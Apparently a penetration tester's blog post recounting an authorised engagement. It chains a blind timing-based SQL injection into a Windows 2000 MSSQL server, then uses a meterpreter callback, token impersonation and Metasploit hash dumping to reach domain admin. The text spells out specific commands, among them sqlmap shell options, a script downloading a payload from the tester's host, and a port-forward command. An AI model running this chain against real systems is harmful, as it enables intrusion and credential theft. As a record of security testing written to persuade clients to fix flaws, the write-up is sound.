It's not uncommon for us to identify SQL injection (SQLi) vulnerabilities during network penetration tests or targeted web application security assessments although it sure seems to be getting less frequent. I hate using the term "SQLi Vulnerability" because SQLi is an attack, not a vulnerability. Whatevs though, the term is commonly used both ways in our industry. Modern development frameworks require that you really step off the beaten path in order to end up with an application that is vulnerable to SQLi. It still happens but when we do find it, it's often in an old, forgotten application or a piece of old code in a newer application.
The specific risk of any given instance of a SQLi attack depends on a lot of variables like the type/version of SQL server used by a vulnerable application, the sensitivity of the application's data, the permissions of the database user issuing the vulnerable query, how the application handles error messages, the DBMS configuration, and other such nuances. Seemingly unrelated controls like egress firewall filtering, intra-zone network filtering from the database to the rest of the internal network, and even what type of encryption/hashing is in place for sensitive database tables can also increase or decrease the risk.
Most people can assume SQLi attacks are focused on getting data out of the database by subverting the vulnerable application's original database queries with your own. This is true much of the time but it's also possible to fully compromise a SQL server, use it as a pivot point, and attack the internal network. We recently had one of these situations come up in an external penetration test that warrants writing about. In this scenario, we identified a blind, timing-based SQLi vulnerability. By the end of the day we had compromised the SQL server, pivoted from it, and escalated privileges until we owned the entire Microsoft Active Directory infrastructure. As usual it was a combination of weaknesses, not just the initial web application flaw, that allowed us to chain attacks together and do such significant damage.
With error-based SQLi, it's possible to exfiltrate data at a reasonable rate, sufficient enough to cause immense damage if the data is sensitive enough. This is because you can retrieve data one field (or more) at a time. With blind, timing-based SQLi, it's still possible to exfiltrate data but it's very painful unless you can do an open row-set type of attack. This is because you're retrieving data one character at a time by asking boolean questions about each character. You're essentially requesting data like this:
- If the first letter of the first table name is between A and L, pause X seconds before responding back to me. (No pause)
- If the first letter of the first table name is between M and Z, pause X seconds before responding back to me (DB pauses)
- Ok, if the first letter of the first table name is between M and R, pause X seconds before responding back to me. (No pause)
- Ok if the first letter of the first table name is between S and Z, pause X seconds before responding back to me. (DB pauses)
- Ok, and so on and so on until the character is found, then on to the next character of the first table name.
Boolean blind SQLi is the same way but faster since you're looking at response content rather than response timing to read out of the db. Unless you know exactly what you are looking for, you typically have to enumerate the database schema, or at least some of it, before you can zero in on the specific high-value table rows you want. You need to know the database names, their table names, and those tables' column names. You can also search table and column names for interesting values, which is quicker.
So we found a vulnerability that allowed blind, timing-based SQLi attacks in a publicly accessible web application. The vulnerability did not require one to be authenticated to the application so anyone on Earth or with an internet connection to Earth could exploit it. I also gave a talk at the OWASP KC March 2014 chapter meeting on this. Rather than going after the data, here's what we did:
We used sqlmap, a popular SQL injection exploitation tool, to check the database user's permissions, whether we could write files, whether xp_cmdshell was enabled, and do some basic reconnaissance. Sqlmap returned Win2K as the OS, MSSQL2K as the DB, and xp_cmdshell enabled. MS SQL Server 2000 is known to have some very weak default configurations. Admittedly, this isn't a scenario we run into every single day as pen testers but it isn't unheard of.
We used the "--os-shell" option, which provides an interactive, pseudo-shell to the SQL server. Remember, retrieving command output with a blind, timing-based SQLi vector is really slow. All we used this for was to issue telnet commands back to my attacking machine, searching for open, outbound ports. This is important because I eventually want a windows/meterpreter/reverse_tcp payload to call my attacking machine back. To do that obviously requires an open, outbound port. Using commands like "telnet a.b.c.d 21" "telnet a.b.c.d 25" "telnet a.b.c.d 80" and so forth allowed us to conduct a crude "egress busting" attack, whereby we identified TCP port 443 was allowed outbound back to us. Running tcpdump on our attacking machine made it easy to determine when we had hit on an open port because we could see the inbound connection attempt (TCP SYN) on port 443.
Exploitation - Failure 1
The "--os-pwn" option in sqlmap allows one-click exploitation with a Metasploit meterpreter payload. We initially tried this but never received the callback. We suspected that the "shellcodeexec" executable that sqlmap uses was getting caught by antivirus.
Exploitation - Failure 2
Veil toolkit, in order to bypass any antivirus controls that may exist on the SQL server. I didn't know how to substitute my own executable with sqlmap's "--os-pwn" option so we decided to just use the "--os-shell" function to echo commands into an FTP script file. This script file would contain all of the commands necessary to cause the SQL server login to our FTP server and download the obfuscated meterpreter executable. The reason we used the script is that we didn't have interactive shell access and needed a one-liner, something that would download our file in one command. TFTP wasn't an option but would have been nice. Once the script was finished, we could just call it like: "ftp-s:script_filename."
This failed and I should have known before I even tried it. FTP uses two channels, the initial control channel on TCP port 21 (443 in our case) and a data channel on another port which is opened up during the transfer of data. Stateful firewalls inspect FTP sessions and dynamically open up the necessary data channel upon seeing an FTP PORT command. Long story short, this didn't work for us while running FTP over TCP port 443.
Exploitation - Success!
Still wanting a one-liner to make the SQL server get our payload, we switched tactics and started using a WSCRIPT file. Why not PowerShell? Remember, we were dealing with Win2K here. Again, we started echoing lines to a file, one-by-one. When we were done, we had something like:
Once the script was written, we called it using the command, "script/nologo w https://a.b.c.d/payload". Then we renamed the file with a ".exe" extension and called it using sqlmap and the "--os-cmd" option. This time we got our meterpreter callback and a session was established in MetaSploit. So great, we shelled a MSSQL server. So what? Well in compromising a machine, we gained a "pivot point" that allowed us to attack any internal systems in reach. It's kind of like a VPN connection. These next steps are the fun part in my opinion.
Privilege Escalation to Domain Admin
- Armed with our meterpreter session, we enumerated the domain and Domain Controllers using the "enum_domains" Metasploit post-exploitation module.
- We also listed the "Domain Admins" group members by dropping into a shell and issuing the "net groups 'Domain Admins' /DOMAIN" command.
- Then we loaded the incognito meterpreter extension and listed the available Windows impersonation tokens.
- We lucked out and found an impersonation token that was also a "Domain Admins" group member right on the DB; we impersonated it. This is not typical. Normally the logical next step would be to dump local pw hashes and spray them around, abusing password reuse until we shelled a box that have a domain admin token.
- Using the impersonated "Domain Admin" token, we created our own domain account and then added it to the "Domain Admins" group.
- Armed with the DA account, we then forwarded a local port on our system through the meterpreter session to one of the Domain Controllers using the "portfwd add -l 3389 -r w.x.y.z -l 3389" command in meterpreter.
- Then we connected to the DC using rdesktop, opened up the C$ share on the exploited SQL server, and copied our obfuscated meterpreter executable to the DC.
- Simply running that executable netted us a meterpreter session on the DC.
- We then ran the "post/windows/gather/smart_hashdump" Metasploit post-exploitation module, dumping every domain account and password hash.
- Then we ran the "auxiliary/analyze/jtr_crack_fast" Metasploit module, which made very quick work of hundreds of the weaker dumped domain password hashes.
- This allowed us remote network and email access to many, many important staff simply by using the cracked accounts.
- We went back to the DC and added our account to all of the SQL security groups.
- This gave us access to dozens of very sensitive databases. Everything from here on out is pretty straight forward. "Domain Administrators" can usually control any AD user account, Windows workstations/servers, file shares, MSSQL databases, and anything else AD-integrated.
- At this point we got hungry and bored so we went home to our respective parents' basements.
Everyone in the industry has likely heard of SQLi attacks and knows that they are bad so why would anyone want us to take this attack so far? There are several answers to this. Firstly our clients often receive excuses of inaction from development teams such as, "Well that application is only brochure-ware and contains zero sensitive data," or "But that application is being decommissioned next year." It's not always about the data and it's definitely not about next year. It's about right now or even last month, and it's about not giving external attackers a pivot point into your internal network.
We always get permission from our clients to proceed at every step of the attack. However, we advise our clients to allow our security assessments to be as impactful as possible, to reveal the full potential of each vulnerability. Anyone can tell you that you need web application security assessments, network penetration tests, a WAF, two-factor authentication, and maybe an IPS. They may even be correct. However, I much prefer empirical evidence in the form of real-world attack scenarios over opinions.
Significant perimeter network risk has long been moving away from the classic, network-service-based remote code execution vulnerabilities and into web applications. The risk these days is in the unpatched JBOSS test server, the old dev box with default Tomcat creds, the WordPress instance you don't know about with a vulnerable module, the remote file-inclusion vulnerability introduced into your customer service portal last week, or blind SQL injection in this case.
When I get some more down time, I'm going to write another blog entry about how we went from another external, blind SQL injection vector all the way to domain admin on another engagement. However, this time, the vector was boolean blind, not timing-based and we did were not able to compromise the SQL server itself as a pivot point.